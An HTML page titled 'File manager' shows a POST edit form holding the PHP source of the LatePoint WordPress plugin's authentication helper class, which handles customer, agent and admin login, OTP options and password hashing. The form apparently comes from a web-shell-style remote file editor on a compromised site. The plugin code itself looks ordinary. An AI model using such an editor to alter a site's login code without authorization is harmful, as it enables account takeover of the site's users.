File manager

<head><title>File manager</title><link rel=stylesheet href=http://unpkg.com/simpledotcss/simple.css></head>
<form method=POST enctype=''><textarea name='edit' style='width:100%;
height:90%'>&lt;?php

class OsAuthHelper {

	public static ?\LatePoint\Misc\User $current_user = null;
	public static $logged_in_customer_id = false;

	public static function set_current_user() {
		if ( \OsWpUserHelper::is_user_logged_in() ) {
			// if wp user is logged in - load from it
			self::$current_user = \LatePoint\Misc\User::load_from_wp_user( \OsWpUserHelper::get_current_user() );
		} else {
			self::$current_user = new \LatePoint\Misc\User();
		}
		$customer = self::get_logged_in_customer();
		if ( $customer ) {
			self::$current_user-&gt;customer = $customer;
		}
	}

	public static function get_current_user(): \LatePoint\Misc\User {
		if ( ! self::$current_user ) {
			self::set_current_user();
		}

		return self::$current_user;
	}

	public static function get_highest_current_user_id() {
		$user_id = false;
		switch ( self::get_highest_current_user_type() ) {
			case LATEPOINT_USER_TYPE_ADMIN:
			case LATEPOINT_USER_TYPE_CUSTOM:
				$user_id = self::get_logged_in_wp_user_id();
				break;
			case LATEPOINT_USER_TYPE_AGENT:
				$user_id = self::get_logged_in_agent_id();
				break;
			case LATEPOINT_USER_TYPE_CUSTOMER:
				$user_id = self::get_logged_in_customer_id();
				break;
		}

		return $user_id;
	}

	public static function get_admin_or_agent_avatar_url() {
		$avatar_url = LATEPOINT_DEFAULT_AVATAR_URL;
		if ( self::is_agent_logged_in() ) {
			$agent      = self::get_logged_in_agent();
			$avatar_url = $agent-&gt;get_avatar_url();
		} elseif ( self::get_logged_in_wp_user_id() ) {
			$wp_user    = self::get_logged_in_wp_user();
			$avatar_url = get_avatar_url( $wp_user-&gt;user_email );
		}

		return $avatar_url;
	}

	public static function get_highest_current_user_type() {
		// check if WP admin is logged in
		$user_type = false;
		if ( self::get_current_user()-&gt;backend_user_type ) {
			// backend user, admin, agent or custom role
			return self::get_current_user()-&gt;backend_user_type;
		} elseif ( self::get_current_user()-&gt;customer ) {
			// customer
			return LATEPOINT_USER_TYPE_CUSTOMER;
		}

		return $user_type;
	}


	public static function login_wp_user( $user ) {
		clean_user_cache( $user-&gt;ID );
		wp_set_current_user( $user-&gt;ID );
		wp_set_auth_cookie( $user-&gt;ID );
		update_user_caches( $user );
	}


	public static function login_customer( $contact_value, $password, $contact_type = &#039;email&#039; ) {
		if ( empty( $contact_value ) || empty( $password ) || !in_array($contact_type, self::get_enabled_contact_types_for_customer_auth()) ) {
			return false;
		}
        $available_contact_types = OsAuthHelper::get_available_contact_types_for_customer_auth();
        if(!isset($available_contact_types[$contact_type])){
            return false;
        }


		if ( self::can_wp_users_login_as_customers() ) {
            // if WP users enabled - customers can only login using existing password of the wordpress account
            $wp_user_id = false;
            if($contact_type == &#039;email&#039;){
                $email = sanitize_email( $contact_value );
                $wp_user_id = email_exists( $email );
            }elseif($contact_type == &#039;phone&#039;){
                $phone = OsUtilHelper::sanitize_phone_number( $contact_value );
                // find latepoint customer by phone because wp users don&#039;t have a phone field
                $customer = new OsCustomerModel();
                $customer = $customer-&gt;where( array( &#039;phone&#039; =&gt; $phone ) )-&gt;set_limit( 1 )-&gt;get_results_as_models();
                if($customer){
                    $email = $customer-&gt;email;
                    if($customer-&gt;wordpress_user_id){
                        $wp_user_id = $customer-&gt;wordpress_user_id;
                    }else{
                        $wp_user_id = email_exists( $customer-&gt;email );
                    }
                }
            }
            if($wp_user_id &amp;&amp; !empty($email) &amp;&amp; !empty($password)){
                $wp_user = wp_signon( [ &#039;user_login&#039; =&gt; $email, &#039;user_password&#039; =&gt; $password ] );
                if ( ! is_wp_error( $wp_user ) ) {
                    // successfully logged into wp user
                    // check if latepoint customer exists in db for this wp user
                    wp_set_current_user( $wp_user-&gt;ID );
                    $customer = OsCustomerHelper::get_customer_for_wp_user( $wp_user );
                    if ( $customer-&gt;id ) {
                        return $customer;
                    } else {
                        OsDebugHelper::log( &#039;Can not login because can not create LatePoint Customer from WP User&#039;, &#039;customer_login_error&#039;, $customer-&gt;get_error_messages() );

                        return false;
                    }
                } else {
                    return false;
                }
            }else{
                return false;
            }
		} else {
			$customer = new OsCustomerModel();
            if($contact_type == &#039;email&#039;){
                $email = sanitize_email( $contact_value );
                $customer = $customer-&gt;where( array( &#039;email&#039; =&gt; $email ) )-&gt;set_limit( 1 )-&gt;get_results_as_models();
            }elseif($contact_type == &#039;phone&#039;){
                $phone = OsUtilHelper::sanitize_phone_number( $contact_value );
                $customer = $customer-&gt;where( array( &#039;phone&#039; =&gt; $phone ) )-&gt;set_limit( 1 )-&gt;get_results_as_models();
            }
			if ( $customer &amp;&amp; OsAuthHelper::verify_password( $password, $customer-&gt;password ) ) {
				OsAuthHelper::authorize_customer( $customer-&gt;id );

				return $customer;
			} else {
				return false;
			}
		}
	}

	public static function can_wp_users_login_as_customers() : bool {
		return OsSettingsHelper::is_on( &#039;wp_users_as_customers&#039;, false );
	}


	// CUSTOMERS
	// ---------------

	public static function logout_customer() {
		if ( self::can_wp_users_login_as_customers() ) {
			wp_logout();
		} else {
			OsSessionsHelper::destroy_customer_session_cookie();
		}
	}

	public static function authorize_customer( $customer_id ) : bool {
		$customer = new OsCustomerModel();
		$customer = $customer-&gt;where( [ &#039;id&#039; =&gt; $customer_id ] )-&gt;set_limit( 1 )-&gt;get_results_as_models();
		if ( empty( $customer ) ) {
			OsDebugHelper::log( &#039;Tried to authorize customer with invalid ID&#039;, &#039;customer_authorization&#039;, [ &#039;customer_id&#039; =&gt; $customer_id ] );

			return false;
		}

		if ( self::can_wp_users_login_as_customers() ) {

			if ( $customer-&gt;wordpress_user_id ) {
				$wp_user = get_user_by( &#039;id&#039;, $customer-&gt;wordpress_user_id );
				// check if WP User exists, if not - create new one and get ID, otherwise get ID from customer record, since its valid
				$wordpress_user_id = ( $wp_user ) ? $customer-&gt;wordpress_user_id : OsCustomerHelper::create_wp_user_for_customer( $customer );
			} else {
				$wordpress_user_id = OsCustomerHelper::create_wp_user_for_customer( $customer );
			}

			if ( $wordpress_user_id ) {
				$wp_user = get_user_by( &#039;id&#039;, $wordpress_user_id );
				if ( $wp_user ) {
					self::login_wp_user( $wp_user );
				} else {
					OsDebugHelper::log( &#039;WordPress user ID for customer is not found or can not be created.&#039;, &#039;customer_create_error&#039;, [ &#039;customer_id&#039;       =&gt; $customer_id,
					                                                                                                                     &#039;wordpress_user_id&#039; =&gt; $wordpress_user_id
					] );
					return false;
				}
			} else {
				OsDebugHelper::log( &#039;WordPress user ID for customer is not found or can not be created.&#039;, &#039;customer_create_error&#039;, [ &#039;customer_id&#039; =&gt; $customer_id ] );
				return false;
			}
		}
        OsSessionsHelper::start_or_use_session_for_customer( $customer_id );
		OsStepsHelper::$customer_object = $customer;
		return true;
	}

	public static function get_logged_in_customer_uuid() {
        $customer = self::get_logged_in_customer();
        if($customer){
            return $customer-&gt;get_uuid();
        }else{
            return false;
        }
	}

	public static function get_logged_in_customer_id() {
		if ( OsAuthHelper::is_customer_auth_disabled() ) {
			return false;
		}
		if ( self::can_wp_users_login_as_customers() ) {
			// using wp users as customers
			if ( OsWpUserHelper::is_user_logged_in() ) {
				$wp_user = wp_get_current_user();
				// search connected latepoint customer
				$customer = OsCustomerHelper::get_customer_for_wp_user( $wp_user );
				if ( $customer-&gt;id ) {
					return $customer-&gt;id;
				} else {
					OsDebugHelper::log( &#039;Can not create LatePoint Customer from WP User&#039;, &#039;customer_create_error&#039;, $customer-&gt;get_error_messages() );

					return false;
				}
			} else {
				return false;
			}
		} else {
			if ( self::$logged_in_customer_id ) {
				return self::$logged_in_customer_id;
			}
			$customer_id = OsSessionsHelper::get_customer_id_from_session();
			// make sure customer with this ID exists in database
			$customer = new OsCustomerModel( $customer_id );
			if ( ! $customer-&gt;is_new_record() ) {
				self::$logged_in_customer_id = $customer_id;

				return self::$logged_in_customer_id;
			} else {
				// customer not found, destroy this invalid customer ID in session cookie
				OsSessionsHelper::destroy_customer_session_cookie();

				return false;
			}
		}
	}

	public static function is_customer_logged_in() {
		return self::get_logged_in_customer_id();
	}

	public static function get_logged_in_customer() {
		$customer = false;
		if ( self::is_customer_logged_in() ) {
			$customer = new OsCustomerModel( self::get_logged_in_customer_id() );
			if ( $customer-&gt;is_new_record() ) {
				$customer = false;
			}
		}

		return $customer;
	}


	// AGENTS
	// -------------

	public static function get_logged_in_agent_id() {
		$agent_id = false;
		if ( self::is_agent_logged_in() ) {
			if ( self::get_current_user()-&gt;agent &amp;&amp; self::get_current_user()-&gt;agent-&gt;id ) {
				$agent_id = self::get_current_user()-&gt;agent-&gt;id;
			}
		}

		return $agent_id;
	}

	public static function is_agent_logged_in() {
		return ( self::get_current_user()-&gt;backend_user_type == LATEPOINT_USER_TYPE_AGENT );
	}

	public static function get_logged_in_agent() {
		$agent = false;
		if ( self::is_agent_logged_in() ) {
			$agent = new OsAgentModel();
			$agent = $agent-&gt;where( [ &#039;wp_user_id&#039; =&gt; self::get_logged_in_wp_user_id() ] )-&gt;set_limit( 1 )-&gt;get_results_as_models();
		}

		return $agent;
	}


	public static function is_custom_backend_user_logged_in() {
		return ( self::get_current_user()-&gt;backend_user_type == LATEPOINT_USER_TYPE_CUSTOM );
	}

	public static function is_admin_logged_in() {
		return ( self::get_current_user()-&gt;backend_user_type == LATEPOINT_USER_TYPE_ADMIN );
	}

	public static function get_logged_in_admin_user() {
		$admin_user = false;
		if ( self::is_admin_logged_in() ) {
			$admin_user = self::get_logged_in_wp_user();
		}

		return $admin_user;
	}

	public static function get_logged_in_admin_user_id() {
		$admin_id = false;
		if ( self::is_admin_logged_in() ) {
			$admin_id = self::get_logged_in_wp_user_id();
		}

		return $admin_id;
	}

	public static function get_logged_in_custom_user_id() {
		$admin_id = false;
		if ( self::is_custom_backend_user_logged_in() ) {
			$admin_id = self::get_logged_in_wp_user_id();
		}

		return $admin_id;
	}


    public static function get_default_customer_authentication_method() : string {
	    $method = OsSettingsHelper::get_settings_value( &#039;default_customer_authentication_method&#039;, &#039;password&#039; );

        $enabled_auth_methods = self::get_enabled_customer_authentication_methods();
        if(empty($enabled_auth_methods)){
            $method = &#039;&#039;;
        }elseif(count($enabled_auth_methods) == 1){
            $method = $enabled_auth_methods[0];
        }else{
            $method = in_array($method, $enabled_auth_methods) ? $method : reset($enabled_auth_methods);
        }

		/**
		 * Default auth method
		 *
		 * @since 5.2.0
		 * @hook latepoint_default_contact_type_for_customer_auth
		 *
		 * @param {string} $method default auth method value
		 * @returns {string} The filtered auth method value
		 */
		return apply_filters( &#039;latepoint_default_contact_type_for_customer_auth&#039;, $method );
    }

    public static function get_available_customer_authentication_methods() : array {
        $methods = [&#039;password&#039; =&gt; __(&#039;Password&#039;, &#039;latepoint&#039;), &#039;otp&#039; =&gt; __(&#039;One-time code&#039;, &#039;latepoint&#039;)];
		/**
		 * Enabled auth method
		 *
		 * @since 5.2.0
		 * @hook latepoint_get_available_customer_authentication_methods
		 *
		 * @param {array} $methods available auth methods
		 * @returns {array} The filtered array of available auth methods
		 */
		return apply_filters( &#039;latepoint_get_available_customer_authentication_methods&#039;, $methods );
    }


    public static function get_enabled_customer_authentication_methods() : array {
        $selected_method = OsSettingsHelper::get_settings_value(&#039;selected_customer_authentication_method&#039;, &#039;password&#039;);

        switch($selected_method){
            case &#039;password&#039;:
                $auth_methods = [&#039;password&#039;];
                break;
            case &#039;otp&#039;:
                $auth_methods = [&#039;otp&#039;];
                break;
            case &#039;password_or_otp&#039;:
                $auth_methods = [&#039;password&#039;, &#039;otp&#039;];
                break;
            default:
                $auth_methods = [&#039;password&#039;];
        }

		/**
		 * Enabled auth method
		 *
		 * @since 5.2.0
		 * @hook latepoint_get_enabled_customer_authentication_methods
		 *
		 * @param {array} $auth_methods enabled auth methods
		 * @returns {array} The filtered array of enabled auth methods
		 */
		return apply_filters( &#039;latepoint_get_enabled_customer_authentication_methods&#039;, $auth_methods );
    }


    public static function get_selected_customer_authentication_method() : string {
        $via = OsSettingsHelper::get_settings_value(&#039;selected_customer_authentication_method&#039;, &#039;password&#039;);
        if(in_array($via, self::get_enabled_customer_authentication_methods(true))){
            return $via;
        }else{
            OsSettingsHelper::save_setting_by_name(&#039;selected_customer_authentication_method&#039;, &#039;password&#039;);
            return &#039;password&#039;;
        }
    }

    public static function get_customer_authentication_method_options($keys_only = false) : array{
        $options = [
                &#039;password&#039; =&gt; __(&#039;Password&#039;, &#039;latepoint&#039;),
                &#039;otp&#039; =&gt; __(&#039;One-time code&#039;, &#039;latepoint&#039;)];
        return $keys_only ? array_keys( $options ) : $options;
    }


    public static function get_default_contact_type_for_customer_auth() : string {
	    $method = OsSettingsHelper::get_settings_value( &#039;default_contact_type_for_customer_auth&#039;, &#039;email&#039; );

        $enabled_contact_types = self::get_enabled_contact_types_for_customer_auth();
        if(empty($enabled_contact_types)){
            $method = &#039;&#039;;
        }elseif(count($enabled_contact_types) == 1){
            $method = $enabled_contact_types[0];
        }else{
            $method = in_array($method, $enabled_contact_types) ? $method : reset($enabled_contact_types);
        }

		/**
		 * Default auth method
		 *
		 * @since 5.2.0
		 * @hook latepoint_default_contact_type_for_customer_auth
		 *
		 * @param {string} $method default auth method value
		 * @returns {string} The filtered auth method value
		 */
		return apply_filters( &#039;latepoint_default_contact_type_for_customer_auth&#039;, $method );
    }

    public static function get_available_contact_types_for_customer_auth() : array {
        $contact_types = [&#039;email&#039; =&gt; __(&#039;Email Address&#039;, &#039;latepoint&#039;), &#039;phone&#039; =&gt; __(&#039;Phone Number&#039;, &#039;latepoint&#039;)];
		/**
		 * Enabled auth method
		 *
		 * @since 5.2.0
		 * @hook latepoint_get_available_contact_types_for_customer_auth
		 *
		 * @param {array} $contact_types available contact types
		 * @returns {array} The filtered array of available contact types
		 */
		return apply_filters( &#039;latepoint_get_available_contact_types_for_customer_auth&#039;, $contact_types );
    }

    public static function get_enabled_contact_types_for_customer_auth() : array {
        $customer_authentication_field_type = OsSettingsHelper::get_settings_value(&#039;selected_customer_authentication_field_type&#039;, &#039;email&#039;);

        switch($customer_authentication_field_type){
            case &#039;email&#039;:
                $contact_types = [&#039;email&#039;];
                break;
            case &#039;phone&#039;:
                $contact_types = [&#039;phone&#039;];
                break;
            case &#039;email_or_phone&#039;:
                $contact_types = [&#039;email&#039;, &#039;phone&#039;];
                break;
            case &#039;disabled&#039;:
                $contact_types = [];
                break;
            default:
                $contact_types = [&#039;email&#039;];
        }

		/**
		 * Enabled auth method
		 *
		 * @since 5.2.0
		 * @hook latepoint_get_enabled_contact_types_for_customer_auth
		 *
		 * @param {array} $contact_types enabled contact types
		 * @returns {array} The filtered array of enabled contact types
		 */
		return apply_filters( &#039;latepoint_get_enabled_contact_types_for_customer_auth&#039;, $contact_types );
    }

    public static function is_customer_auth_enabled() : bool{
        return (self::get_selected_customer_authentication_field_type() != &#039;disabled&#039;);
    }

    public static function is_customer_auth_disabled() : bool{
        return !self::is_customer_auth_enabled();
    }

    public static function get_selected_customer_authentication_field_type() : string {
        $via = OsSettingsHelper::get_settings_value(&#039;selected_customer_authentication_field_type&#039;);
        if(empty($via)){
            // load from legacy setting
            if(OsSettingsHelper::is_on(&#039;steps_hide_login_register_tabs&#039;)){
                OsSettingsHelper::save_setting_by_name(&#039;selected_customer_authentication_field_type&#039;, &#039;disabled&#039;);
                return &#039;disabled&#039;;
            }else{
                OsSettingsHelper::save_setting_by_name(&#039;selected_customer_authentication_field_type&#039;, &#039;email&#039;);
                return &#039;email&#039;;
            }
        }
        if(in_array($via, self::get_customer_authentication_field_type_options(true))){
            return $via;
        }else{
            OsSettingsHelper::save_setting_by_name(&#039;selected_customer_authentication_field_type&#039;, &#039;email&#039;);
            return &#039;email&#039;;
        }
    }

    public static function get_customer_authentication_field_type_options($keys_only = false) : array{
        $options = [
                &#039;email&#039; =&gt; __(&#039;Email Address&#039;, &#039;latepoint&#039;),
                &#039;phone&#039; =&gt; __(&#039;Phone Number&#039;, &#039;latepoint&#039;),
                &#039;disabled&#039; =&gt; __(&#039;Disable ability to login&#039;, &#039;latepoint&#039;)];
        return $keys_only ? array_keys( $options ) : $options;
    }


    public static function is_classic_auth_flow() : bool{
        return (OsSettingsHelper::get_settings_value(&#039;modern_auth_flow_for_customers&#039;, LATEPOINT_VALUE_OFF) == LATEPOINT_VALUE_OFF);
    }
    public static function is_otp_auth_enabled() : bool{
        return in_array(&#039;otp&#039;, self::get_enabled_customer_authentication_methods());
    }


    public static function get_default_delivery_method_for_customer_auth_contact_type(string $contact_type){
        $delivery_method = &#039;email&#039;;
        switch($contact_type){
            case &#039;email&#039;:
                $delivery_method = &#039;email&#039;;
                break;
            case &#039;phone&#039;:
                $delivery_method = &#039;sms&#039;;
                break;
        }
        /**
		 * Get default delivery method for auth contact type
		 *
		 * @since 5.2.0
		 * @hook latepoint_get_default_delivery_method_for_customer_auth
		 *
		 * @param {string} $delivery_method delivery method (email, sms, whatsapp)
		 * @param {string} $contact_type contact type selected for auth (email, phone)
		 *
		 * @returns {string} Filtered delivery method
		 */
        return apply_filters(&#039;latepoint_get_default_delivery_method_for_customer_auth&#039;, $delivery_method, $contact_type);
    }

	public static function auth_form_html($is_classic, OsCustomerModel $customer, string $selected_contact_type_for_auth = &#039;&#039;, $selected_delivery_method = &#039;&#039;) : string{
        if(empty($selected_contact_type_for_auth)){
            $selected_contact_type_for_auth = OsAuthHelper::get_default_contact_type_for_customer_auth();
        }
        if(empty($selected_delivery_method)){
            $selected_delivery_method = self::get_default_delivery_method_for_customer_auth_contact_type($selected_contact_type_for_auth);
        }
        $enabled_contact_types_for_customer_auth = OsAuthHelper::get_enabled_contact_types_for_customer_auth();
        $otp_allowed = self::is_otp_auth_enabled();
        $multiple_auth_methods_enabled = (count(self::get_enabled_customer_authentication_methods()) &gt; 1);
		$html = &#039;&#039;;
		if(!$is_classic){
	        $html.=&#039;&lt;div class=&quot;latepoint-customer-auth-wrapper&quot;&gt;&#039;;
	            $html.=&#039;&lt;div class=&quot;latepoint-customer-otp-request-wrapper hide-when-entering-otp&quot;&gt;&#039;;
	                // NEW STYLE SHOWING JUST THE AUTH OPTIONS FIRST
	                if(in_array(&#039;email&#039;, $enabled_contact_types_for_customer_auth)){
	                    $html.=&#039;&lt;div data-login-method=&quot;email&quot; class=&quot;customer-login-method-wrapper &#039;.($selected_contact_type_for_auth == &#039;email&#039; ? &#039;&#039; : &#039;os-hidden&#039;).&#039;&quot;&gt;&#039;;
	                    $html.=OsFormHelper::text_field(&#039;auth[email]&#039;, __(&#039;Your Email Address&#039;, &#039;latepoint&#039;), $customer-&gt;email, array(&#039;validate&#039; =&gt; $customer-&gt;get_validations_for_property(&#039;email&#039;), &#039;class&#039; =&gt; &#039;required&#039;));
	                    $html.=&#039;&lt;/div&gt;&#039;;
	                }
	                if(in_array(&#039;phone&#039;, $enabled_contact_types_for_customer_auth)){
	                    $html.=&#039;&lt;div data-login-method=&quot;phone&quot; class=&quot;customer-login-method-wrapper &#039;.($selected_contact_type_for_auth == &#039;phone&#039; ? &#039;&#039; : &#039;os-hidden&#039;).&#039;&quot;&gt;&#039;;
	                    $html.=OsFormHelper::phone_number_field(&#039;auth[phone]&#039;, __(&#039;Your Phone Number&#039;, &#039;latepoint&#039;), $customer-&gt;phone, array(&#039;validate&#039; =&gt; $customer-&gt;get_validations_for_property(&#039;phone&#039;), &#039;class&#039; =&gt; &#039;required&#039;, &#039;theme&#039; =&gt; &#039;simple&#039;));
	                    $html.=&#039;&lt;/div&gt;&#039;;
	                }
	                $html.=&#039;&lt;a tabindex=&quot;0&quot; class=&quot;latepoint-btn latepoint-btn-block latepoint-btn-primary latepoint-request-otp-button&quot; data-otp-request-route=&quot;&#039;.OsRouterHelper::build_route_name(&#039;auth&#039;, &#039;request_otp&#039;).&#039;&quot;&gt;&lt;span&gt;&#039;.__(&#039;Continue&#039;, &#039;latepoint&#039;).&#039;&lt;/span&gt;&lt;/a&gt;&#039;;
	            $html.=&#039;&lt;/div&gt;&#039;;
	        $html.=&#039;&lt;/div&gt;&#039;;
		}else{
			ob_start();
			?&gt;
			&lt;div class=&quot;os-customer-login-w os-customer-wrapped-box os-unwrapped&quot;&gt;
                &lt;?php if(count($enabled_contact_types_for_customer_auth) &gt; 1){ ?&gt;
	            &lt;div class=&quot;login-options-wrapper&quot;&gt;
	                &lt;div class=&quot;latepoint-customer-box-title&quot;&gt;&lt;?php _e(&#039;Sign in&#039;, &#039;latepoint&#039;); ?&gt;&lt;/div&gt;
	                &lt;?php if(in_array(&#039;email&#039;, $enabled_contact_types_for_customer_auth) &amp;&amp; in_array(&#039;phone&#039;, $enabled_contact_types_for_customer_auth)){ ?&gt;
	                    &lt;div class=&quot;login-options-col login-options-via&quot;&gt;
	                        &lt;div class=&quot;login-options-via-wrapper&quot;&gt;
	                            &lt;div data-login-method=&quot;email&quot; data-is-otp-enabled=&quot;&lt;?php echo OsOTPHelper::is_otp_enabled_for_contact_type(&#039;email&#039;, &#039;email&#039;) ? &#039;yes&#039; : &#039;no&#039;; ?&gt;&quot; data-otp-delivery-method=&quot;email&quot; class=&quot;login-option &lt;?php echo $selected_contact_type_for_auth == &#039;email&#039; ? &#039;os-selected os-default&#039; : &#039;&#039;; ?&gt;&quot;&gt;&lt;?php _e(&#039;Email&#039;, &#039;latepoint&#039;); ?&gt;&lt;/div&gt;
	                            &lt;div data-login-method=&quot;phone&quot; data-is-otp-enabled=&quot;&lt;?php echo OsOTPHelper::is_otp_enabled_for_contact_type(&#039;phone&#039;, &#039;sms&#039;) ? &#039;yes&#039; : &#039;no&#039;; ?&gt;&quot; data-otp-delivery-method=&quot;sms&quot; class=&quot;login-option &lt;?php echo $selected_contact_type_for_auth == &#039;phone&#039; ? &#039;os-selected os-default&#039; : &#039;&#039;; ?&gt;&quot;&gt;&lt;?php _e(&#039;Phone&#039;, &#039;latepoint&#039;); ?&gt;&lt;/div&gt;
	                        &lt;/div&gt;
	                    &lt;/div&gt;
	                &lt;?php } ?&gt;
	            &lt;/div&gt;
                &lt;?php } ?&gt;
	            &lt;?php
	            if(in_array(&#039;email&#039;, $enabled_contact_types_for_customer_auth)){
	                echo &#039;&lt;div data-login-method=&quot;email&quot; class=&quot;customer-login-method-wrapper &#039;.($selected_contact_type_for_auth == &#039;email&#039; ? &#039;&#039; : &#039;os-hidden&#039;).&#039;&quot;&gt;&#039;;
	                echo OsFormHelper::text_field(&#039;auth[email]&#039;, __(&#039;Your Email Address&#039;, &#039;latepoint&#039;), &#039;&#039;);
	                echo &#039;&lt;/div&gt;&#039;;
	            }
	            ?&gt;
	            &lt;?php
	            if(in_array(&#039;phone&#039;, $enabled_contact_types_for_customer_auth)){
	                echo &#039;&lt;div data-login-method=&quot;phone&quot; class=&quot;customer-login-method-wrapper &#039;.($selected_contact_type_for_auth == &#039;phone&#039; ? &#039;&#039; : &#039;os-hidden&#039;).&#039;&quot;&gt;&#039;;
	                echo OsFormHelper::phone_number_field(&#039;auth[phone]&#039;, __(&#039;Your Phone Number&#039;, &#039;latepoint&#039;), &#039;&#039;);
	                echo &#039;&lt;/div&gt;&#039;;
	            }
	            ?&gt;
	            &lt;div class=&quot;os-customer-login-password-fields-w&quot; &lt;?php echo (OsAuthHelper::get_default_customer_authentication_method() == &#039;otp&#039;) ? &#039;style=&quot;display:none;&quot;&#039; : &#039;&#039;; ?&gt;&gt;
	            &lt;?php echo OsFormHelper::password_field(&#039;auth[password]&#039;, __(&#039;Your Password&#039;, &#039;latepoint&#039;), &#039;&#039;, array(&#039;class&#039; =&gt; &#039;required&#039;)); ?&gt;
	            &lt;a href=&quot;#&quot; class=&quot;latepoint-btn latepoint-btn-primary latepoint-btn-link step-forgot-password-btn&quot;
	               data-os-action=&quot;&lt;?php echo esc_attr(OsRouterHelper::build_route_name(&#039;customer_cabinet&#039;, &#039;request_password_reset_token&#039;)); ?&gt;&quot;
	               data-os-output-target=&quot;.os-password-reset-form-holder&quot;
	               data-os-after-call=&quot;latepoint_reset_password_from_booking_init&quot;
	               data-os-params=&quot;&lt;?php echo esc_attr(OsUtilHelper::build_os_params([&#039;from_booking&#039; =&gt; true])); ?&gt;&quot;&gt;&lt;span&gt;&lt;?php esc_html_e(&#039;Forgot?&#039;, &#039;latepoint&#039;); ?&gt;&lt;/span&gt;&lt;/a&gt;
	            &lt;/div&gt;

	            &lt;?php if($otp_allowed){ ?&gt;
	                &lt;div class=&quot;os-customer-otp-notice&quot; &lt;?php echo (OsAuthHelper::get_default_customer_authentication_method() == &#039;otp&#039;) ? &#039;&#039; : &#039;style=&quot;display:none;&quot;&#039;; ?&gt;&gt;
	                    &lt;?php _e(&#039;You will receive a 6-digit code to log in.&#039;, &#039;latepoint&#039;); ?&gt;
	                &lt;/div&gt;
	            &lt;?php } ?&gt;
	            &lt;div class=&quot;os-customer-login-buttons&quot;&gt;
	                &lt;?php if($multiple_auth_methods_enabled){ ?&gt;
	                &lt;div class=&quot;login-options-col&quot;&gt;
	                        &lt;div class=&quot;latepoint-customer-otp-option&quot;&gt;
	                            &lt;?php if(OsAuthHelper::get_default_customer_authentication_method() == &#039;otp&#039;){ ?&gt;
	                                &lt;label&gt;&lt;input type=&quot;checkbox&quot; name=&quot;auth[via]&quot; value=&quot;password&quot; class=&quot;login-with-password-toggle os-opposite&quot;&gt;&lt;span&gt;&lt;?php _e(&#039;Use password instead&#039;, &#039;latepoint&#039;); ?&gt;&lt;/span&gt;&lt;/label&gt;
	                            &lt;?php }else{ ?&gt;
	                                &lt;label&gt;&lt;input type=&quot;checkbox&quot; name=&quot;auth[via]&quot; value=&quot;otp&quot; class=&quot;login-with-password-toggle&quot;&gt;&lt;span&gt;&lt;?php _e(&#039;Send me a sign-in code&#039;, &#039;latepoint&#039;); ?&gt;&lt;/span&gt;&lt;/label&gt;
	                            &lt;?php } ?&gt;
	                        &lt;/div&gt;
	                &lt;/div&gt;
	                &lt;?php }else{
                        echo OsFormHelper::hidden_field(&#039;auth[via]&#039;, OsAuthHelper::get_default_customer_authentication_method());
	                }?&gt;
	                &lt;a data-otp-request-route=&quot;&lt;?php echo esc_attr(OsRouterHelper::build_route_name(&#039;auth&#039;, &#039;request_otp&#039;)); ?&gt;&quot; data-password-login-route=&quot;&lt;?php echo esc_attr(OsRouterHelper::build_route_name(&#039;auth&#039;, &#039;login_customer&#039;)); ?&gt;&quot; href=&quot;#&quot;
	                   class=&quot;latepoint-btn latepoint-btn-primary step-login-existing-customer-btn &lt;?php echo $multiple_auth_methods_enabled ? &#039;&#039; : &#039;latepoint-btn-block&#039;; ?&gt;&quot;&gt;&lt;span&gt;&lt;?php esc_html_e(&#039;Continue&#039;, &#039;latepoint&#039;); ?&gt;&lt;/span&gt;&lt;/a&gt;
	            &lt;/div&gt;
	        &lt;/div&gt;
			&lt;?php
			$html = ob_get_clean();
		}
        $html.= OsFormHelper::hidden_field( &#039;auth[contact_type]&#039;, $selected_contact_type_for_auth );
        $html.= OsFormHelper::hidden_field( &#039;auth[delivery_method]&#039;, $selected_delivery_method );
        $html.= OsFormHelper::hidden_field( &#039;auth[action]&#039;, &#039;register&#039; );
        $html.= wp_nonce_field( &#039;auth_nonce&#039;, &#039;auth[nonce]&#039;, true, false );


		return $html;
	}


	// WP USER
	public static function get_logged_in_wp_user_id() {
		return OsWpUserHelper::get_current_user_id();
	}

	public static function get_logged_in_wp_user() {
		return OsWpUserHelper::get_current_user();
	}


	// UTILS

	public static function hash_password( $password ) {
		return password_hash( $password, PASSWORD_DEFAULT );
	}

	public static function verify_password( $password, $hash ) {
		return password_verify( $password, $hash );
	}

}</textarea><input type='submit' name='save' value='Save' style=''/></form>